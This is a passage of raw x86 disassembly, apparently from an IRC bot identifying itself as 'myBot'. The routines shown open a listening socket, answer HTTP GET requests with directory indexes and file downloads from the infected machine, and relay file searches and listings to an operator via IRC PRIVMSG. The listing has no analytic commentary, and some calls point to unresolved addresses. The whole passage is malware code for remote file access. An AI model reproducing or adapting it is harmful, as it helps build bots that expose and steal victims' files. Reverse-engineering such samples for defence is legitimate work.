eax, [ebp-504h] push edi push eax call sub_41BA60 add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CC05C call near ptr 71AB1AF4h nop push 1 call near ptr 2690000h nop test byte ptr [esi+0Ch], 10h jz short loc_40FA4C pop edi loc_40FA84: ; CODE XREF: ___:0040FA44j push esi call sub_41B9DB pop ecx push dword_4CC05C nop call near ptr 71AB1A6Dh nop call near ptr 71AB1836h push 1 pop eax loc_40FAA0: ; CODE XREF: ___:0040FA3Ej pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FAA3 proc near ; DATA XREF: sub_401AC7+2216o ; sub_40BD7C+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41C2A0 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41BD10 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4C9304 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4C9384 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40FE8E mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43C24C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4C9330 cmp eax, 0FFFFFFFFh jz loc_40FE8E push 7FFFFFFFh push edi call dword_4C932C cmp eax, 0FFFFFFFFh jz loc_40FE8E lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4C93A0 cmp eax, 0FFFFFFFFh jz loc_40FE8E mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40FB7A: ; CODE XREF: sub_40FAA3+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4C92EC cmp eax, 0FFFFFFFFh jz loc_40FE89 xor esi, esi mov [ebp+var_4], esi loc_40FBB0: ; CODE XREF: sub_40FAA3+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4C91F0 test eax, eax jz loc_40FE74 cmp esi, [ebp+var_C] jnz short loc_40FC32 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4C9398 cmp eax, 0FFFFFFFFh jz loc_40FE74 xor ecx, ecx test ebx, ebx jbe short loc_40FC04 lea edx, [ebp+var_134] loc_40FBF8: ; CODE XREF: sub_40FAA3+15Fj cmp [edx], eax jz short loc_40FC04 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40FBF8 loc_40FC04: ; CODE XREF: sub_40FAA3+14Dj ; sub_40FAA3+157j cmp ecx, ebx jnz short loc_40FC21 cmp ebx, 40h jnb short loc_40FC21 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40FC21: ; CODE XREF: sub_40FAA3+163j ; sub_40FAA3+168j cmp eax, [ebp+var_8] jbe loc_40FE74 mov [ebp+var_8], eax jmp loc_40FE74 ; --------------------------------------------------------------------------- loc_40FC32: ; CODE XREF: sub_40FAA3+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41BD10 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BD10 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4C931C test eax, eax jg short loc_40FCC5 push esi call dword_4C939C xor ecx, ecx test ebx, ebx jbe loc_40FE74 lea eax, [ebp+var_134] loc_40FC84: ; CODE XREF: sub_40FAA3+1EBj cmp [eax], esi jz short loc_40FC95 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FC84 jmp loc_40FE74 ; --------------------------------------------------------------------------- loc_40FC95: ; CODE XREF: sub_40FAA3+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FCB9 lea eax, [ebp+ecx*4+var_134] loc_40FCA3: ; CODE XREF: sub_40FAA3+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FCA3 loc_40FCB9: ; CODE XREF: sub_40FAA3+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40FE74 ; --------------------------------------------------------------------------- loc_40FCC5: ; CODE XREF: sub_40FAA3+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41BD10 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41B960 add esp, 10h test eax, eax jbe loc_40FE74 loc_40FCF3: ; CODE XREF: sub_40FAA3+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40FD98 mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_40FD6C lea eax, [ebp+var_18F0] push eax call sub_41B960 cmp eax, 5 pop ecx jbe short loc_40FD6C mov eax, offset asc_42CDCC ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41C080 pop ecx pop ecx push eax call sub_41C080 pop ecx pop ecx push eax call sub_41C864 push eax lea eax, [ebp+var_23C] push eax call sub_41C620 add esp, 10h jmp short loc_40FD83 ; --------------------------------------------------------------------------- loc_40FD6C: ; CODE XREF: sub_40FAA3+27Fj ; sub_40FAA3+291j lea eax, [ebp+var_18F0] push offset asc_4341E4 ; "\r\n" push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz short loc_40FDB7 loc_40FD83: ; CODE XREF: sub_40FAA3+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41BD10 add esp, 0Ch or esi, 0FFFFFFFFh loc_40FD98: ; CODE XREF: sub_40FAA3+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41B960 cmp [ebp+arg_0], eax pop ecx jb loc_40FCF3 jmp loc_40FE74 ; --------------------------------------------------------------------------- loc_40FDB7: ; CODE XREF: sub_40FAA3+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40FE01 lea eax, [ebp+var_134] loc_40FDC3: ; CODE XREF: sub_40FAA3+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40FDD4 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40FDC3 jmp short loc_40FE04 ; --------------------------------------------------------------------------- loc_40FDD4: ; CODE XREF: sub_40FAA3+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40FDF8 lea eax, [ebp+ecx*4+var_134] loc_40FDE2: ; CODE XREF: sub_40FAA3+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40FDE2 loc_40FDF8: ; CODE XREF: sub_40FAA3+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40FE04 ; --------------------------------------------------------------------------- loc_40FE01: ; CODE XREF: sub_40FAA3+318j mov esi, [ebp+var_4] loc_40FE04: ; CODE XREF: sub_40FAA3+32Fj ; sub_40FAA3+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40FE6D lea eax, [ebp+var_360] push eax call sub_41B960 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41B960 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40FE6D and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4C93A0 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_410080 add esp, 14h jmp short loc_40FE74 ; --------------------------------------------------------------------------- loc_40FE6D: ; CODE XREF: sub_40FAA3+369j ; sub_40FAA3+38Fj push esi call dword_4C939C loc_40FE74: ; CODE XREF: sub_40FAA3+11Dj ; sub_40FAA3+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40FBB0 jmp loc_40FB7A ; --------------------------------------------------------------------------- loc_40FE89: ; CODE XREF: sub_40FAA3+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40FE8E: ; CODE XREF: sub_40FAA3+6Aj ; sub_40FAA3+92j ... call dword_4C9298 push eax lea eax, [ebp+var_8F0] push offset unk_4341BC push eax call sub_41C006 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40FED4 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409862 add esp, 14h loc_40FED4: ; CODE XREF: sub_40FAA3+40Cj lea eax, [ebp+var_8F0] push eax call sub_415CEE pop ecx push edi call dword_4C939C push [ebp+var_254] call sub_40B6C9 pop ecx push ebx nop call near ptr 26F0000h pop edi pop esi pop ebx sub_40FAA3 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FEFE proc near ; DATA XREF: sub_410080+246o var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41C2A0 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41C006 lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_654] push eax call sub_41C006 xor edi, edi add esp, 10h cmp [ebp+var_A4], edi jz short loc_40FF63 push offset aTextHtml ; "text/html" jmp short loc_40FF68 ; --------------------------------------------------------------------------- loc_40FF63: ; CODE XREF: sub_40FEFE+5Cj push offset aApplicationOct ; "application/octet-stream" loc_40FF68: ; CODE XREF: sub_40FEFE+63j lea eax, [ebp+var_9C] push eax call sub_41C006 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 2760000h nop lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 27514C6h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40FFE1 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C006 add esp, 24h jmp short loc_410002 ; --------------------------------------------------------------------------- loc_40FFE1: ; CODE XREF: sub_40FEFE+C4j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41C006 add esp, 28h loc_410002: ; CODE XREF: sub_40FEFE+E1j lea eax, [ebp+var_1654] push edi push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4C9354 cmp [ebp+var_A4], edi jnz short loc_410042 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_4109B2 pop ecx pop ecx jmp short loc_41005F ; --------------------------------------------------------------------------- loc_410042: ; CODE XREF: sub_40FEFE+12Cj lea eax, [ebp+var_654] push eax push edi loc_41004A: ; DATA XREF: ___:00437DD0o ; ___:00437DE4o push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_410330 add esp, 10h loc_41005F: ; CODE XREF: sub_40FEFE+142j push [ebp+var_44C] call dword_4C939C push [ebp+var_B4] call sub_40B6C9 pop ecx push edi call near ptr 26F0000h nop pop edi pop esi sub_40FEFE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410080 proc near ; CODE XREF: sub_40FAA3+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41BD10 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_4100B6 push eax push offset aS_3 ; "\\%s" jmp short loc_4100BF ; --------------------------------------------------------------------------- loc_4100B6: ; CODE XREF: sub_410080+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_4100BF: ; CODE XREF: sub_410080+34j lea eax, [ebp+var_10C] push eax call sub_41C006 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41B960 test eax, eax pop ecx jbe short loc_41015A mov [ebp+arg_8], 2 loc_4100EA: ; CODE XREF: sub_410080+D8j lea eax, [ebp+var_10C] push eax call sub_41B960 cmp [ebp+arg_8], eax pop ecx jnb short loc_41012A cmp [ebp+esi+var_10C], 25h jnz short loc_41012A cmp [ebp+esi+var_10B], 32h jnz short loc_41012A cmp [ebp+esi+var_10A], 30h jnz short loc_41012A inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_410144 ; --------------------------------------------------------------------------- loc_41012A: ; CODE XREF: sub_410080+7Aj ; sub_410080+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_41013A push 5Ch pop eax jmp short loc_41013D ; --------------------------------------------------------------------------- loc_41013A: ; CODE XREF: sub_410080+B3j movsx eax, al loc_41013D: ; CODE XREF: sub_410080+B8j mov [ebp+ebx+var_210], al loc_410144: ; CODE XREF: sub_410080+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41B960 cmp esi, eax pop ecx jb short loc_4100EA loc_41015A: ; CODE XREF: sub_410080+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_429ACC push eax call sub_41C006 lea eax, [ebp+var_314] push offset asc_42A084 ; "\n" push eax call sub_41C864 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 2690D17h push 1 cmp eax, 10h pop esi jz short loc_4101A8 cmp eax, 0FFFFFFFFh jnz short loc_4101AB push [ebp+arg_0] jmp short loc_410227 ; --------------------------------------------------------------------------- loc_4101A8: ; CODE XREF: sub_410080+11Cj mov [ebp+var_4], esi loc_4101AB: ; CODE XREF: sub_410080+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_4101B8 mov [ebp+var_4], esi loc_4101B8: ; CODE XREF: sub_410080+133j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_410232 cmp [ebp+arg_C], edi jz short loc_410226 lea eax, [ebp+var_314] push offset asc_434470 ; "*" push eax call sub_41C630 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C006 lea eax, [ebp+var_210] push eax call sub_410A6F lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41C006 add esp, 1Ch or [ebp+var_330], 0FFFFFFFFh mov [ebp+var_31C], esi jmp short loc_410281 ; --------------------------------------------------------------------------- loc_410226: ; CODE XREF: sub_410080+14Fj push ebx loc_410227: ; CODE XREF: sub_410080+126j call dword_4C939C jmp loc_410329 ; --------------------------------------------------------------------------- loc_410232: ; CODE XREF: sub_410080+14Aj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax nop call near ptr 273075Dh mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_410281 lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41C006 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi call near ptr 2760B82h nop push esi mov [ebp+var_330], eax nop call near ptr 2670000h loc_410281: ; CODE XREF: sub_410080+1A4j ; sub_410080+1CFj mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_43443C push eax call sub_41C006 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B3AD mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43C244[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40FEFE push edi push edi call near ptr 269009Ch nop mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43C254[ecx], eax jz short loc_4102FB loc_4102E9: ; CODE XREF: sub_410080+279j cmp [ebp+var_318], edi jnz short loc_410329 push 5 nop call near ptr 2690000h jmp short loc_4102E9 ; --------------------------------------------------------------------------- loc_4102FB: ; CODE XREF: sub_410080+267j push ebx call dword_4C939C nop call near ptr 26908A7h push eax lea eax, [ebp+var_8C4] push offset unk_434404 push eax call sub_41C006 lea eax, [ebp+var_8C4] push eax call sub_415CEE add esp, 10h loc_410329: ; CODE XREF: sub_410080+1ADj ; sub_410080+26Fj pop edi pop esi xor eax, eax pop ebx leave retn sub_410080 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410330 proc near ; CODE XREF: sub_401AC7+7604p ; sub_40FEFE+159p var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41BD10 mov edi, [ebp+arg_0] push offset asc_42A084 ; "\n" push edi call sub_41C864 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_41038F push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41C100 add esp, 14h jmp loc_41048C ; --------------------------------------------------------------------------- loc_41038F: ; CODE XREF: sub_410330+3Aj cmp [ebp+arg_C], ebx push edi jz loc_410472 call sub_41B960 mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 push edi call sub_41B960 push 3Ch push 96h mov byte ptr [eax+edi], 2Ah push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 0Ch jmp short loc_41048C ; --------------------------------------------------------------------------- loc_410472: ; CODE XREF: sub_410330+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 10h loc_41048C: ; CODE XREF: sub_410330+5Aj ; sub_410330+140j lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 cmp [ebp+arg_C], ebx jz short loc_410524 push [ebp+arg_C] call sub_41B960 cmp eax, 2 pop ecx jbe short loc_410524 push [ebp+arg_C] call sub_41B960 sub eax, 3 pop ecx jz short loc_4104D8 loc_4104CC: ; CODE XREF: sub_410330+1A6j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_4104D8 dec eax jnz short loc_4104CC loc_4104D8: ; CODE XREF: sub_410330+19Aj ; sub_410330+1A3j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41BD70 lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 1Ch lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 loc_410524: ; CODE XREF: sub_410330+17Ej ; sub_410330+18Cj lea eax, [ebp+var_388] push eax push edi call near ptr 2790000h nop lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax call near ptr 2780000h nop test eax, eax jz loc_410915 mov edi, 1FFh loc_410550: ; CODE XREF: sub_410330+5DFj cmp [ebp+var_388], ebx jz loc_4108FD lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4108FD lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jz loc_4108FD lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 277058Ah nop lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax call near ptr 2770000h nop mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_4105C5 mov ecx, offset aAm ; "AM" loc_4105C5: ; CODE XREF: sub_410330+28Ej cmp ax, 0Ch movzx eax, ax jbe short loc_4105D1 sub eax, 0Ch loc_4105D1: ; CODE XREF: sub_410330+29Cj push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41C006 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_41077E inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_410652 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C100 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" push esi push eax call sub_41C100 add esp, 28h jmp loc_4108CE ; --------------------------------------------------------------------------- loc_410652: ; CODE XREF: sub_410330+2DBj cmp [ebp+arg_C], ebx jz loc_41073C push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41C100 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_35C] push eax call sub_41B960 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_4106F2 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_4106F7 ; --------------------------------------------------------------------------- loc_4106F2: ; CODE XREF: sub_410330+3B9j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_4106F7: ; CODE XREF: sub_410330+3C0j lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_4108BF ; --------------------------------------------------------------------------- loc_41073C: ; CODE XREF: sub_410330+325j lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41C100 lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" loc_410769: ; CODE XREF: sub_410330+476j lea eax, [ebp+var_248] push esi push eax call sub_41C100 add esp, 24h jmp loc_4108CE ; --------------------------------------------------------------------------- loc_41077E: ; CODE XREF: sub_410330+2CFj inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_4107A8 push ebx push [ebp+var_368] call sub_416C7D push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" jmp short loc_410769 ; --------------------------------------------------------------------------- loc_4107A8: ; CODE XREF: sub_410330+454j cmp [ebp+arg_C], ebx jz loc_4108A8 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_429ACC push edi push eax call sub_41C100 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 lea eax, [ebp+var_35C] push eax call sub_41B960 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_410848 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_41084D ; --------------------------------------------------------------------------- loc_410848: ; CODE XREF: sub_410330+50Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_41084D: ; CODE XREF: sub_410330+516j lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... lea eax, [ebp+var_248] push edi push eax call sub_41C100 add esp, 1Ch jmp short loc_4108CE ; --------------------------------------------------------------------------- loc_4108A8: ; CODE XREF: sub_410330+47Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" push esi loc_4108BF: ; CODE XREF: sub_410330+407j lea eax, [ebp+var_248] push eax call sub_41C100 add esp, 18h loc_4108CE: ; CODE XREF: sub_410330+31Dj ; sub_410330+449j ... lea eax, [ebp+var_248] push ebx push eax call sub_41B960 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4C9354 cmp [ebp+arg_8], ebx jz short loc_4108FD push 7D0h nop call near ptr 2690000h loc_4108FD: ; CODE XREF: sub_410330+226j ; sub_410330+241j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] nop call near ptr 2780000h test eax, eax jnz 